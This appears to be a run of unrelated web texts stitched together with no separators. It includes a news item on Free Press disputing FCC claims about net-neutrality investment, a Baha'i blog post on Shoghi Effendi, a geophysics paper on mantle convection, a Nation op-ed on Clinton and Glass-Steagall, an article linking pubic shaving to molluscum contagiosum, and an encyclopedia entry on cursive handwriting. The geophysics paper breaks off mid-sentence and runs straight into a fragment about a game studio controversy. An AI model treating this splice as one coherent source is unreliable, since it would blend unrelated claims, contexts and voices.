But advocacy group Free Press says the FCC's draft leaves out key historical context.
"The easily verifiable truth is that wireless industry investments peaked in 2013, as carriers completed the bulk of 4G LTE deployments," Free Press writes in a letter to FCC Chairman Ajit Pai. "What’s more, this is by no means the only years-long downturn for the wireless sector: such periods of slower spending are natural."
The FCC's net neutrality rules reclassified broadband as a utility service and imposed some common carrier rules on providers, including prohibitions on blocking and throttling content, and creating paid fast lanes.
Pai, who is urging the agency to reverse the decision to treat broadband service as a utility, has argued that the 2015 rules resulted in a decrease in investment. He recently cited the recent 9% drop in investment in a speech delivered at Mobile World Congress Americas, where he argued that the decrease in capital expenditures was the "most concerning emerging issue" the FCC was seeing.
"I think you know where I’m going next," he added. "The FCC is currently examining whether we should change our Internet regulations in order to encourage greater deployment and investment and bring digital opportunity to more Americans."
Free Press countered in its letter that there was also a drop in investment between 2013 and 2014 -- before the net neutrality rules were passed. The group also noted that the carrier AT&T told the FCC in 2010 that capital expenditures are "lumpy," because providers may make investments one year, but then focus on acquiring new customers the following year.One unique thing about the Baha’i Faith is that there have been explicit instructions on the leadership of the community right from the beginning, so there are no denominations in the community. Since we don’t have much in the way of rituals, the way things look can vary from culture to culture, but the plans, the goals, and the structure are all the same.
Baha’u’llah, the Prophet and founder, was first. Then guidance of the community passed to His eldest son, ‘Abdu’l-Baha. Shoghi Effendi, ‘Abdu’l-Baha’s grandson, then served the Baha’i Faith as its Guardian until his own passing. The plans he set in motion were carried out with exactitude, culminating in the first election of the Universal House of Justice, which is elected by the Baha’is of the world every five years and continues to lead the community to this day.
That’s the short version, anyhow.
The long version, Baha’is learn over time. Through the Writings of the Faith, histories, personal anecdotes, statistics, and more, we learn more about these figures over the course of our entire lives. There is truly no end to this process.
When I was a teenager first learning about the Faith, I loved Baha’u’llah, but it was sort of abstract. It’s like loving the sun. You love the light and the warmth and all that it gives, but you can’t know it, not really.
‘Abdu’l-Baha, though, was so concrete. Not the Manifestation of God, but something closer to the rest of humanity. The exemplar of kindness, of humility, of compassion. It was easy to love ‘Abdu’l-Baha, like a saintly grandfather. His talks were so simple and illustrative, even in translation.
And then there was Shoghi Effendi.
And I understood that he was important, but here I was, 15 and longing for spiritual truth, and this man was writing procedures for the election of local assemblies. Which I wasn’t even old enough to vote for. With Baha’u’llah I felt awe and with ‘Abdu’l-Baha I felt devotion, but with this Guardian … I felt primarily respect. There just didn’t seem to be a real heart-to-heart connection.
That was 20 years ago.
Both my life and my feelings are very different now.
Part of this is that I grew to better understand what Shoghi Effendi accomplished. To take a nascent community, one that would soon be bereft (although it was unaware at the time) of hereditary guidance, and establish it, not as a social movement or vague spiritual revival, but as a world faith, was a massive undertaking. There were so many moving parts to this. Legal recognition in nations around the world. Constructing fitting resting places for the Founders of the Faith. Translating the Writings from Persian and Arabic into dozens of languages and disseminating them to communities desperate for access to their own Sacred Texts. Guarding against those political and religious leaders who had made it their aim to eradicate the Faith from the earth, or at least the corners of it over which they maintained influence and control. And above all that, the Baha’is themselves. Who had loved ‘Abdu’l-Baha, who were dedicated to the Faith, but who had little to no idea what that entailed. What does it mean to be a Baha’i in this day? There was hope, perhaps, but a unified vision, knowledge, and skill are also necessary. It is one thing to pray for a better world. It is quite another to build it with your own hands.
And it’s this process of building that taught me to love Shoghi Effendi with an intimacy that I never expected.
When I sit with my spreadsheets, extracting data from dozens of conversations, I remember Shoghi Effendi.
When I make maps showing where activity is taking place, I remember Shoghi Effendi.
When I craft an email that I know will be sent out to hundreds of people, I remember Shoghi Effendi.
When I write step-by-step instructions for a process that is structured, but no less spiritual for it, I remember Shoghi Effendi.
I feel so close to the Guardian in this service, perhaps one of the sweetest unexpected gifts that the role has brought me.
I’m currently re-reading The Priceless Pearl, the biography of Shoghi Effendi written by his widow Ruhiyyih Khanum, and it’s beautiful and heartbreaking and breathtaking all at once. You can download it as an ebook for free here.
AdvertisementsAbstract The notion of self-regulating mantle convection, in which heat loss from the surface is constantly adjusted to follow internal radiogenic heat production, has been popular for the past six decades since Urey first advocated the idea. Thanks to its intuitive appeal, this notion has pervaded the solid earth sciences in various forms, but approach to a self-regulating state critically depends on the relation between the thermal adjustment rate and mantle temperature. I show that, if the effect of mantle melting on viscosity is taken into account, the adjustment rate cannot be sufficiently high to achieve self-regulation, regardless of the style of mantle convection. The evolution of terrestrial planets is thus likely to be far from thermal equilibrium and be sensitive to the peculiarities of their formation histories. Chance factors in planetary formation are suggested to become more important for the evolution of planets that are more massive than Earth.
Keywords
Heat flow
thermal budget
planetary evolution
INTRODUCTION The possibility of self-regulating mantle convection arises from the following negative feedback, which was originally suggested to H. Urey by R. Revelle (1). If the surface heat flux of a planet is higher than its internal heat production, the planet cools down, lowering the vigor of convection and thus heat flux. Conversely, if heat flux is lower than heat production, the planet heats up to enhance the vigor of convection until the balance is achieved between surface heat loss and internal heat production. Because radiogenic heat production decreases steadily with time, the convecting mantle must be able to adjust its internal temperature sufficiently quickly. The thermal adjustment time scale becomes shorter as the sensitivity of heat flux to temperature change increases, and the sensitivity can be quite high if one considers the temperature dependency of mantle viscosity. Tozer (2) was the first to quantify the thermal adjustment time scale using temperature-dependent viscosity, and his estimate of ~200 million years to achieve self-regulation was deemed sufficiently short. The validity of “exact” thermal equilibrium was later questioned by Schubert et al. (3), but their theoretical modeling of Earth’s thermal evolution, along with a similar study by Davies (4), still indicated that the surface heat flux should follow closely with the temporal variation of internal heat generation. An approximate version of self-regulating mantle convection has since been regarded as the standard theory for the thermal evolution of Earth and other terrestrial planets (5–7). One important corollary of self-regulation is that the thermal evolution of a planet becomes virtually insensitive to its initial condition. Whether a planet had a hot or cold start, its subsequent evolution would quickly adjust its internal temperature so that the vigor of mantle convection is adequate for the amount of heat provided by radioactive decay. However, despite its prevailing popularity, the actual efficacy of self-regulated mantle convection is debatable, at least for the case of Earth, which is undoubtedly the best understood terrestrial planet. First, the amount of internal heat production in the mantle is determined by the concentration of radioactive isotopes, such as 238U and 232Th, and geochemical estimates on the composition of the primitive mantle (8, 9), after correcting for continental crust, suggest that internal heat production in the convecting mantle accounts for only ~10 to 30% of convective heat loss (10, 11). Estimates on the composition of the convecting mantle, based on the petrology of mid-ocean ridge basalts, point to an even lower radiogenic contribution (12, 13). Many geophysicists seemed to have speculated that the present-day surface heat flux might be unusually higher than a long-term average, resulting in the apparent discrepancy between heat flux and heat production (14, 15), but such possibility has been shown to be inconsistent with the history of global sea-level change (16). At the same time, geochemical estimates are always associated with important assumptions and nontrivial uncertainty (17, 18), and some geochemists have used the notion of self-regulation to deduce the presence of a hidden geochemical reservoir enriched in heat-producing isotopes (19, 20). Though not widely appreciated, most of the geochemical estimates on the primitive mantle composition implicitly assume that the whole mantle is well mixed (21); violating this assumption would lead us to an inconvenient situation in which radiogenic heat production is geochemically unconstrained. Unfortunately, a potentially more direct approach with geoneutrinos continues to suffer from substantial uncertainty (22), and a notion akin to self-regulating mantle convection is still used to derive a geophysical estimate on internal heat production (23). The present-day heat production of what is referred to as the “reference undepleted mantle” in the widely used textbook by Turcotte and Schubert (23, 24) is based on the assumption that the radiogenic heat production in the convecting mantle is responsible for 80% of the convective heat flux, as opposed to only ~10 to 30% as mentioned above. Although the degree of self-regulation is still unclear for the present-day Earth’s mantle, we are now in a better position to evaluate under what condition mantle convection can be self-regulated, owing to recent progress on the heat flow scaling of mantle convection (25–27). Here, I conduct a critical appraisal of this long-standing issue by clarifying the underlying physics and by providing numerical examples that demonstrate the generality of my analysis. In particular, I show that a system’s propensity to self-regularization can be succinctly evaluated by calculating one nondimensional number, and I discuss its application to the thermal evolution of terrestrial planets at large.
BASIC THEORY Previous theoretical considerations on self-regularization have been biased to the condition in which self-regulation is possible (4, 11, 28). Therefore, to treat a variety of heat flow scaling laws proposed in recent years, I start with a more general analysis of the relation between heat flow scaling and the degree of self-regulation. Global energy balance for a convecting mantle may be expressed as (1)where c p and ρ are the specific heat of the mantle and its density, respectively; D is the depth of the mantle; T a is the average mantle temperature; h 0 is the initial radiogenic heat production per unit mass; λ e is the effective decay constant that best approximates the contribution of all of major radioactive isotopes; and q(T a ) is the surface heat flux per unit area, expressed as a function of T a. Although basal (core) heat flux is an important part of the global thermal budget (29), it is assumed to be zero for the following reasons. First, it does not play a role in the classical negative feedback mechanism for self-regulation. Second, the thermal evolution of the core, which affects the temporal evolution of core heat flux, is a complex problem itself (30, 31), especially given the recent development in the energetics of geodynamo (32). Third, using a few reasonable assumptions (10), the energy balance equations for the mantle and the core can be combined to a single equation similar to Eq. 1, with the mantle heat capacity term on the left-hand side (c p ρD) replaced with the whole-Earth heat capacity. Considering nonzero core heat flux increases the thermal inertia of the convecting system, helping it to deviate from the self-regulated state. The assumption of zero basal heat flux is therefore equivalent to the ideal condition to achieve self-regulation. This ideal setup will strengthen the main conclusion of this paper. The above equation can be nondimensionalized as (2)where temperature, time, heat production, and heat flux are normalized by ΔT, D2/κ, kΔT/(ρD2), and kΔT/D, respectively; ΔT is the temperature scale, κ is the thermal diffusivity [= k/(ρc p )], and k is the thermal conductivity. By first-order Taylor expansion, surface heat flux may be approximated as (3)where is the heat flux at an arbitrary reference temperature,. The (nondimensional) thermal adjustment rate, as introduced by Tozer (2), is given by the temperature derivative of heat flux, dq*/dT a *, which is also denoted here by the symbol γ* for short, and the ratio of the thermal adjustment rate over the decay constant, γ*/λ e *, will be called the Tozer number. With this linear approximation, Eq. 2 can be solved analytically, and in the case of initial surface heat flux being equal to initial heat production, that is, q*(T a *(0)) = h 0 *, the subsequent evolution may be expressed as (4)or in terms of heat flux as (5)where t′ is the reduced time defined as, is the internal temperature in equilibrium with internal heat production [= ], and Tz is the Tozer number. When Tz = 1, the right-hand side of Eq. 4 reduces to and that of Eq. 5 reduces to just t′. One reduced time corresponds to the e-folding time scale for internal heat production, and the Tozer number measures the rate of thermal adjustment with respect to that of radioactive decay. Starting with a different initial surface heat flux would merely introduce an additional term proportional to exp[−(Tz − 1)t′)]; thus, the above solutions capture the essence of temporal evolution. When Tz >> 1, Eq. 4 reduces to, that is, the perfect thermal equilibrium. The degree of self-regulation may be quantified by the Urey ratio, denoted by Ur (10, 33), which is defined as the contribution of internal heating to surface heat flux, that is, Ur(t) = h*(t)/q*(t), and Eq. 5 indicates that the Urey ratio converges to 1 − Tz−1 with an e-folding time scale of (γ* − λ e *)−1 when Tz > 1 and to zero with a time scale of (λ e * − γ*)− 1 when Tz < 1. The e-folding time scale may seem to diverge as Tz → 1, but when Tz = 1, the Urey ratio converges to zero with an e-folding time scale of (e − 1)/λ e *, which can serve as an upper bound on the time scale. Convection may be said to be self-regulated when Ur is ~1, but approach to such a condition is bounded by Tz−1 when Tz > 1, and self-regulation of any degree would become impossible when Tz ≤ 1. The debates over the present-day thermal budget of Earth mentioned in the Introduction may be summarized as follows: Geochemical models for the mantle composition indicate that Ur is ~0.1 to 0.3, but the standard geophysical models prefer that Ur be ~0.8, which is referred to here as an approximately self-regulated situation.
NUMERICAL EXAMPLES The generality of the above analysis may be understood by the following illustrative examples with fully dynamical systems. All cases considered here were run for a period of one reduced time, during which initial heat production decreases by a factor of e. The first example is with stagnant lid convection (Fig. 1). Stagnant lid convection is one type of thermal convection, and it occurs when viscosity is strongly temperature-dependent (34). The viscosity of the top thermal boundary layer is too high for the layer to appreciably deform, and convection takes place only beneath the boundary layer. Because the viscosity of silicate rocks, which constitute the mantle of terrestrial planets, is known to depend strongly on temperature (35), stagnant lid convection may be regarded as the most natural form of mantle convection, and Venus and Mars are in fact considered to be in this mode of convection (5). Stagnant lid convection, in its simplest form, requires only two nondimensional parameters, the internal Rayleigh number and the Frank-Kamenetskii parameter; the former indicates the vigor of convection, whereas the latter measures the temperature dependency of viscosity. For the example shown in Fig. 1, the internal Rayleigh number is set to 3 × 108 and the Frank-Kamenetskii parameter is set to 15. Both values are high enough to approach situations expected in actual planetary mantles (see Materials and Methods for further details). For purely internal heating (that is, no basal heat flux), time-averaged surface heat flux should be equal to internal heat generation at a statistically steady state or a quasi–steady state, and theoretical scaling exists for the relation between the internal temperature and the surface heat flux (25). For the cases shown in Fig. 1A, I use a quasi–steady-state solution corresponding to a q* of 7 (with T a * ~ 0.85) as the initial condition, and for those in Fig. 1B, I use a solution corresponding to a q* of 5 (with T a * ~ 0.76). The thermal adjustment rate γ* is ~17 at T a * ~ 0.8 (Fig. 1C). For both cases, internal heating starts with an h 0 * of 6, and is varied to generate cases with a Tz of 1 to 30. These two initial conditions are used to consider the approach to thermal equilibrium from both above and below. Fig. 1 Numerical simulation results for stagnant lid convection with decaying internal heat production. (A) The evolution of average temperature as a function of the reduced time t′, when starting with the initial temperature higher than the equilibrium temperature. The equilibrium temperature (black dashed line) is the temperature corresponding to the internal heat production according to the theoretical heat flow scaling law. Four cases with different (initial) Tz values are shown: 1 (blue), 3 (green), 10 (red), and 30 (magenta). Solutions from parameterized convection models, that is, solutions of Eq. 2 with the theoretical scaling are shown as colored dashed lines. (B) Same as (A), but starting with the initial temperature lower than the equilibrium temperature. (C) Covariation of average temperature and surface heat flux from the runs shown in (A) and (B). All cases are plotted right on top of each other and also on the theoretical scaling (black dashed line). Results from steady-state solutions are shown as solid squares (see Materials and Methods). Their temporal fluctuations are smaller than the size of the symbol. Note that in (A) and (B), the temperature deviation for the case of Tz = 30 starts to increase slightly after a t′ of ~0.6, because dq*/dT a * decreases at lower temperatures (C), making the actual Tz value lower than 30. The slight nonlinearity of the actual heat flow scaling results in small temporal variations in Tz. In Fig. 1 (A and B), the hypothetical internal temperature in perfect equilibrium with decaying internal heating is shown as a reference. Note that although internal heating follows exponential decay, this equilibrium temperature decreases almost linearly with time because of slight nonlinearity in the theoretical heat flow scaling (Fig. 1C). When Tz is as high as 30, thermal equilibrium is quickly achieved within a t′ of 0.1 in both cases. As Tz decreases, the degree of self-regulation deteriorates as expected. When starting from a low initial temperature (Fig. 1B), the system always passes through a thermal equilibrium at one point, but with low Tz, the system moves away from it because the Urey ratio should converge to 1 − Tz−1. Also shown in Fig. 1 (A and B) is the temperature evolution obtained by solving Eq. 2 with the theoretical heat flow scaling, which markedly agrees well with numerical simulation results, regardless of the value of Tz. This is because heat flux from numerical simulation closely follows the theoretical scaling of (quasi–)steady-state heat flux (Fig. 1C). With stagnant lid convection, only positive Tz can be tested. A more general dynamical system may be constructed with viscosity depending solely on average temperature, and by assuming that viscosity increases with higher temperature, steady-state heat flow scaling can exhibit even negative γ* (see Materials and Methods). The second example is made with such a system with a γ* of around −39 (Fig. 2C). Again, is varied to generate different Tz values. When Tz ≤ 1, the Urey ratio converges to zero, meaning that a system moves away from thermal equilibrium. More negative Tz leads to more rapid departure (Fig. 2, A and B), as predicted by the theoretical analysis. Surface heat flux from numerical simulation exhibits significant temporal fluctuations (Fig. 2C) because the top thermal boundary layer is not stabilized by higher viscosity, unlike in the previous case of stagnant lid convection. Note that these fluctuations are not due to the negative γ*; even with positive values of γ*, similar fluctuations take place with this dynamical system with average-temperature–dependent viscosity. Despite such fluctuations in surface heat flux, the temporal variation of internal temperature is smooth because of the thermal inertia of the convecting system. In any event, the relation between transient surface heat flux and average temperature still follows the theoretical steady-state scaling (Fig. 2C), and as a result, the solution of Eq. 2 provides a good approximation to the results of fully dynamic calculations (Fig. 2, A and B). Fig. 2 a *. Similar to Fig. 1, but with a dynamical system characterized by a negative value of dq*/dT*. (A and B) The equilibrium temperature increases with time, whereas internal heating decreases with time, because of the negative dependency of surface heat flux on internal temperature. Three cases with different Tz values are shown: −1 (blue), −3 (green), and −10 (red). (C) Only the cases of Tz = −1 and −10 are shown for clarity. Solving Eq. 2 with steady-state heat flow scaling is also known as the parameterized convection approach (3, 4, 36), and the parameterized approach is valid as long as the assumed steady-state scaling can predict instantaneous heat flow reasonably accurately. As seen in the above examples, as well as in previous studies (37–39), this condition is usually satisfied for vigorously convecting systems, in which dynamical processes associated with the top thermal boundary layer take place more rapidly than the cooling of the entire system (36). Recently, Moore and Lenardic (40) suggested that parameterized convection models would be valid only when adjustment to thermal equilibrium could take place rapidly, that is, Tz >> 1. Their reasoning appears to stem from the misconception that the use of steady-state heat flow scaling requires a convecting system to reach thermal equilibrium sufficiently quickly. As seen in Figs. 1 and 2, the parameterized convection approach is valid for a wide range of Tz, including negative values. However, its applicability to more complex convection systems is still open to question, and future studies are warranted for this important issue.
DISCUSSION Figure 3A compares a few different heat flow scaling laws for Earth’s mantle, and corresponding Tozer numbers [with an effective decay constant of 2.5 billion years (Gy)] are shown in Fig. 3B (see Materials and Methods). The “classical” scaling, which predicts higher heat flux for a hotter mantle, is what has long been used in parameterized convection models (5). The “plate tectonics” scaling incorporates the effect of mantle melting (27); a hotter mantle starts to melt deeper beneath mid-ocean ridges, forming a thicker, dehydrated lithosphere, which is more difficult to deform at subduction zones and thus slows down plate motion (41). Also shown in Fig. 3A are scaling laws for (hypothetical) stagnant lid convection on Earth, using the same mantle properties assumed for the above scaling laws, with and without the effect of mantle melting (25, 26). Heat transport is much less efficient in stagnant lid |
yourself, instead of telling you to “f*ck off” because of a facebook profile picture. Dream Games, in my opinion, deserves to be reviled for such behavior, regardless of how you feel about agendas.
The rest is just icing on the cake. The claims of abandoning development and the demo being released by accident avery convenient, and the accusations regarding religious quotation in the games code a bit suspect. Something certainly doesn’t add up, but what do you think? Please leave your comments below.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!Working Lives: Taiwan
Six very different characters talk about their working lives.
Tsay Ting-kuei is a professor and democracy activist trying to ensure Taiwan's future will be decided by its people, not the government - or China.
Chang Hsiu-lin is an immigrant from mainland China and restaurant owner who cherishes Taiwan's democracy and believes the differences Taiwan and China have over the island's status will be resolved peacefully.
Internet start-up owner Jimmy Chen is working to create the next big thing in online social networking and trying to help Taiwan reinvent itself. And Paicu Luheacana is an indigenous tea grower from one of Taiwan's little-known tribal communities trying to save her land and culture.
These are just some of the stories revealed to us through six characters and their daily working lives. What do these stories tell us about Taiwan today and what its future may hold?
More from Taiwan DirectThere are plenty of visualizations based on population data, but nothing quite like what designer Nik Freeman has created: a map of where no one lives.
Using data from the 2010 U.S. census, Freeman shades green the nearly 5 million census blocks with zero population. The resulting map highlights the 47 percent of the U.S. that remains unoccupied.
Green shading represent unoccupied census blocks. Just one inhabitant is precludes the block from getting shaded. (Image courtesy of Nik Freeman)
In a blog post, Freeman explains that the shaded spots are uninhabited for two (largely unsurprising) reasons. The first is where it’s just physically difficult for people to live, i.e. rivers, swamps, mountains, and deserts. And the second is where we’re not allowed to, i.e. national parks and military bases.
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Hillary Clinton’s recent op-ed in The New York Times, “How I’d Rein In Wall Street,” was intended to reassure nervous Democrats who fear she is still in thrall to those mega-bankers of New York who crashed the American economy. Clinton’s brisk recital of plausible reform ideas might convince wishful thinkers who are not familiar with the complexities of banking. But informed skeptics, myself included, see a disturbing message in her argument that ought to alarm innocent supporters. Ad Policy
Candidate Clinton is essentially whitewashing the financial catastrophe. She has produced a clumsy rewrite of what caused the 2008 collapse, one that conveniently leaves her husband out of the story. He was the president who legislated the predicate for Wall Street’s meltdown. Hillary Clinton’s redefinition of the reform problem deflects the blame from Wall Street’s most powerful institutions, like JPMorgan Chase and Goldman Sachs, and instead fingers less celebrated players that failed. In roundabout fashion, Hillary Clinton sounds like she is assuring old friends and donors in the financial sector that, if she becomes president, she will not come after them.
The seminal event that sowed financial disaster was the repeal of the New Deal’s Glass-Steagall Act of 1933, which had separated banking into different realms: investment banks, which organize capital investors for risk-taking ventures; and deposit-holding banks, which serve people as borrowers and lenders. That law’s repeal, a great victory for Wall Street, was delivered by Bill Clinton in 1999, assisted by the Federal Reserve and the financial sector’s armies of lobbyists. The “universal banking model” was saluted as a modernizing reform that liberated traditional banks to participate directly and indirectly in long-prohibited and vastly more profitable risk-taking.
Exotic financial instruments like derivatives and credit-default swaps flourished, enabling old-line bankers to share in the fun and profit on an awesome scale. The banks invented “guarantees” against loss and sold them to both companies and market players. The fast-expanding financial sector claimed a larger and larger share of the economy (and still does) at the expense of the real economy of producers and consumers. The interconnectedness across market sectors created the illusion of safety. When illusions failed, these connected guarantees became the dragnet that drove panic in every direction. Ultimately, the federal government had to rescue everyone, foreign and domestic, to stop the bleeding.
Yet Hillary Clinton asserts in her Times op-ed that repeal of Glass-Steagall had nothing to do with it. She claims that Glass-Steagall would not have limited the reckless behavior of institutions like Lehman Brothers or insurance giant AIG, which were not traditional banks. Her argument amounts to facile evasion that ignores the interconnected exposures. The Federal Reserve spent $180 billion bailing out AIG so AIG could pay back Goldman Sachs and other banks. If the Fed hadn’t acted and had allowed AIG to fail, the banks would have gone down too.
These sound like esoteric questions of bank regulation (and they are), but the consequences of pretending they do not matter are enormous. The federal government and Federal Reserve would remain on the hook for rescuing losers in a future crisis. The largest and most adventurous banks would remain free to experiment, inventing fictitious guarantees and selling them to eager suckers. If things go wrong, Uncle Sam cleans up the mess.
Senator Elizabeth Warren and other reformers are pushing a simpler remedy—restore the Glass-Steagall principles and give citizens a safe, government-insured place to store their money. “Banking should be boring,” Warren explains (her co-sponsor is GOP Senator John McCain). GET THE LATEST NEWS AND ANALYSIS DELIVERED TO YOUR INBOX EACH MORNING SIGN UP!
That’s a hard sell in politics, given the banking sector’s bear hug of Congress and the White House, its callous manipulation of both political parties. Of course, it is more complicated than that. But recreating a safe, stable banking system—a place where ordinary people can keep their money—ought to be the first benchmark for Democrats who claim to be reformers.
Actually, the most compelling witnesses for Senator Warren’s argument are the two bankers who introduced this adventure in “universal banking” back in the 1990s. They used their political savvy and relentless muscle to seduce Bill Clinton and his so-called New Democrats. John Reed was CEO of Citicorp and led the charge. He has since apologized to the nation. Sandy Weill was chairman of the board and a brilliant financier who envisioned the possibilities of a single, all-purpose financial house, freed of government’s narrow-minded regulations. They won politically, but at staggering cost to the country.
Weill confessed error back in 2012: “What we should probably do is go and split up investment banking from banking. Have banks do something that’s not going to risk the taxpayer dollars, that’s not going to be too big to fail.”
John Reed’s confession explained explicitly why their modernizing crusade failed for two fundamental business reasons. “One was the belief that combining all types of finance into one institution would drive costs down—and the larger institution the more efficient it would be,” Reed wrote in the Financial Times in November. Reed said, “We now know that there are very few cost efficiencies that come from the merger of functions—indeed, there may be none at all. It is possible that combining so much in a single bank makes services more expensive than if they were instead offered by smaller, specialised players.”
The second grave error, Reed said, was trying to mix the two conflicting cultures in banking—bankers who are pulling in opposite directions. That tension helps explain the competitive greed displayed by the modernized banking system. This disorder speaks to the current political crisis in ways that neither Dems nor Republicans wish to confront. It would require the politicians to critique the bankers (often their funders) in terms of human failure.
“Mixing incompatible cultures is a problem all by itself,” Reed wrote. “It makes the entire finance industry more fragile…. As is now clear, traditional banking attracts one kind of talent, which is entirely different from the kinds drawn towards investment banking and trading. Traditional bankers tend to be extroverts, sociable people who are focused on longer term relationships. They are, in many important respects, risk averse. Investment bankers and their traders are more short termist. They are comfortable with, and many even seek out, risk and are more focused on immediate reward.”
Reed concludes, “As I have reflected about the years since 1999, I think the lessons of Glass-Steagall and its repeal suggest that the universal banking model is inherently unstable and unworkable. No amount of restructuring, management change or regulation is ever likely to change that.”
This might sound hopelessly naive, but the Democratic Party might do better in politics if it told more of the truth more often: what they tried do and why it failed, and what they think they may have gotten wrong. People already know they haven’t gotten a straight story from politicians. They might be favorably impressed by a little more candor in the plain-spoken manner of John Reed.
Of course it’s unfair to pick on the Dems. Republicans have been lying about their big stuff for so long and so relentlessly that their voters are now staging a wrathful rebellion. Who knows, maybe a little honest talk might lead to honest debate. Think about it. Do the people want to hear the truth about our national condition? Could they stand it?Shaving the pubic region causes ‘micro-trauma’ of the skin, boosting the chance of a pox virus called Molluscum contagiosum, say the French experts.
The virus causes water warts, small pink bubbles which can break out over the body. These warts are relatively common in children as the virus can be spread by normal skin-on-skin contact.
However, it is also passed on during sexual activity, and over the last decade the incidence of this type of infection has been on the rise.
French doctors wanted to know if this rise was linked to the growing fashion for ‘Brazilians’ and other forms of pubic hair removal.
They looked through records of visits to a private skin clinic in Nice from January 2011 to March 2012, and identified 30 cases of water warts infection. All but two of the 30 patients had undergone pubic hair removal. Twenty of the 28 had been shaved, five clipped and three waxed.
In four cases the warts had spread to the abdomen and in one they had spread to the thighs.
Writing in the journal Sexually Transmitted Infections, they warned: “Hair removal (especially shaving) could favour its acquisition, propagation and transmission by micro-traumatisms.”
They said the reason for opting for pubic hair removal remained “unclear”, “but may be linked with internet-based pornography”.
“Another reason cited is an increased sexual sensation. There may also be psychological reasons, as an unconscious desire to simulate an infantile look or a desire to distance ourselves from our animal nature.”
The trend, they noted, was “also growing among men”. In fact, 24 of the 30 cases were in men.Example of classic American business cursive handwriting known as Spencerian script from 1884
Cursive (also known as script or longhand, among other names[a]) is any style of penmanship in which some characters are written joined together in a flowing manner, generally for the purpose of making writing faster. Formal cursive is generally joined, but casual cursive is a combination of joins and pen lifts. The writing style can be further divided as "looped", "italic" or "connected".
The cursive method is used with many alphabets due to its improved writing speed[citation needed] and infrequent pen lifting. In some alphabets, many or all letters in a word are connected, sometimes making a word one single complex stroke.
Descriptions [ edit ]
Cursive is a style of penmanship in which the symbols of the language are written in a conjoined and/or flowing manner, generally for the purpose of making writing faster. This writing style is distinct from "printscript" using block letters, in which the letters of a word are unconnected and in Roman/Gothic letterform rather than joined-up script. Not all cursive copybooks join all letters: formal cursive is generally joined, but casual cursive is a combination of joins and pen lifts. In the Arabic, Syriac, Latin, and Cyrillic alphabets, many or all letters in a word are connected, sometimes making a word one single complex stroke. In Hebrew cursive and Roman cursive, the letters are not connected. In Maharashtra there is a version of Cursive called 'Modi'
Subclasses [ edit ]
Ligature [ edit ]
Ligature is writing the letters of words with lines connecting the letters so that one does not have to pick up the pen or pencil between letters. Commonly some of the letters are written in a looped manner to facilitate the connections. In common printed Greek texts, the modern small letter fonts are called "cursive" (as opposed to uncial) though the letters do not connect.
Looped [ edit ]
Looped cursive as taught in Britain in mid-20th century
In looped cursive penmanship, some ascenders and descenders have loops which provide for joins. This is generally what people refer to when they say "cursive".[citation needed]
Italic [ edit ]
Cursive italic penmanship—derived from chancery cursive—uses non-looped joins or no joins. In italic cursive, there are no joins from g, j, q or y, and a few other joins are discouraged.[1][not in citation given] Italic penmanship became popular in the 15th-century Italian Renaissance. The term "italic" as it relates to handwriting is not to be confused with italic typed letters that slant forward. Many, but not all, letters in the handwriting of the Renaissance were joined, as most are today in cursive italic.
Origin [ edit ]
The origins of the cursive method are associated with practical advantages of writing speed and infrequent pen-lifting to accommodate the limitations of the quill. Quills are fragile, easily broken, and will spatter unless used properly. They also run out of ink faster than most contemporary writing utensils. Steel dip pens followed quills; they were sturdier, but still had some limitations. The individuality of the provenance of a document (see Signature) was a factor also, as opposed to machine font.[2] Cursive was also favored because the writing tool was rarely taken off the paper. The term cursive derives from the 18th century Italian corsivo from Medieval Latin cursivus, which literally means running. This term in turn derives from Latin currere ("to run, hasten").[3]
Bengali [ edit ]
In Bengali cursive script [4] (also known in Bengali as "professional writing"[citation needed]) the letters are more likely to be more curvy in appearance than in standard Bengali handwriting. Also, the horizontal supporting bar on each letter (matra) runs continuously through the entire word, unlike in standard handwriting. This cursive handwriting often used by literature experts differs in appearance from the standard Bengali alphabet as it is free hand writing, where sometimes the alphabets are complex and appear different from the standard handwriting.[citation needed]
Roman [ edit ]
Example of old Roman cursive
Roman cursive is a form of handwriting (or a script) used in ancient Rome and to some extent into the Middle Ages. It is customarily divided into old (or ancient) cursive, and new cursive. Old Roman cursive, also called majuscule cursive and capitalis cursive, was the everyday form of handwriting used for writing letters, by merchants writing business accounts, by schoolchildren learning the Latin alphabet, and even by emperors issuing commands. New Roman, also called minuscule cursive or later cursive, developed from old cursive. It was used from approximately the 3rd century to the 7th century, and uses letter forms that are more recognizable to modern eyes; "a", "b", "d", and "e" have taken a more familiar shape, and the other letters are proportionate to each other rather than varying wildly in size and placement on a line.
Greek [ edit ]
Ancient Greek cursive script, 6th century CE
The Greek alphabet has had several cursive forms in the course of its development. In antiquity, a cursive form of handwriting was used in writing on papyrus. It employed slanted and partly connected letter forms as well as many ligatures. Some features of this handwriting were later adopted into Greek minuscule, the dominant form of handwriting in the medieval and early modern era. In the 19th and 20th centuries, an entirely new form of cursive Greek, more similar to contemporary Western European cursive scripts, was developed.
Western Europe [ edit ]
During the Middle Ages, the flowing, connected cursive script of the Arabic language inspired Western Christian scholars to develop similar cursive scripts for Latin.[5] These scripts then became the basis for all of the Latin-based cursive scripts used in Europe.
English [ edit ]
Cursive in English letter from 1894
Cursive writing was used in English before the Norman conquest. Anglo-Saxon Charters typically include a boundary clause written in Old English in a cursive script. A cursive handwriting style—secretary hand—was widely used for both personal correspondence and official documents in England from early in the 16th century.
Cursive handwriting developed into something approximating its current form from the 17th century, but its use was neither uniform, nor standardized either in England itself or elsewhere in the British Empire. In the English colonies of the early 17th century, most of the letters are clearly separated in the handwriting of William Bradford, though a few were joined as in a cursive hand. In England itself, Edward Cocker had begun to introduce a version of the French ronde style, which was then further developed and popularized throughout the British Empire in the 17th and 18th centuries as round hand by John Ayers and William Banson.[7]
In the American colonies, on the eve of their independence from the Kingdom of Great Britain, it is notable that Thomas Jefferson joined most, but not all the letters when drafting the United States Declaration of Independence. However, a few days later, Timothy Matlack professionally re-wrote the presentation copy of the Declaration in a fully joined, cursive hand. Eighty-seven years later, in the middle of the 19th century, Abraham Lincoln drafted the Gettysburg Address in a cursive hand that would not look out of place today.
Note that not all such cursive, then or now, joined all of the letters within a word.
Cursive handwriting from the 19th-century USA.
In both the British Empire and the United States in the 18th and 19th centuries, before the typewriter, professionals used cursive for their correspondence. This was called a "fair hand", meaning it looked good, and firms trained their clerks to write in exactly the same script.
In the early days[when?] of the post office, letters were written in cursive – and to fit more text on a single sheet, the text was continued in lines crossing at 90 degrees from the original text.[8] Block letters were not suitable for this.[citation needed]
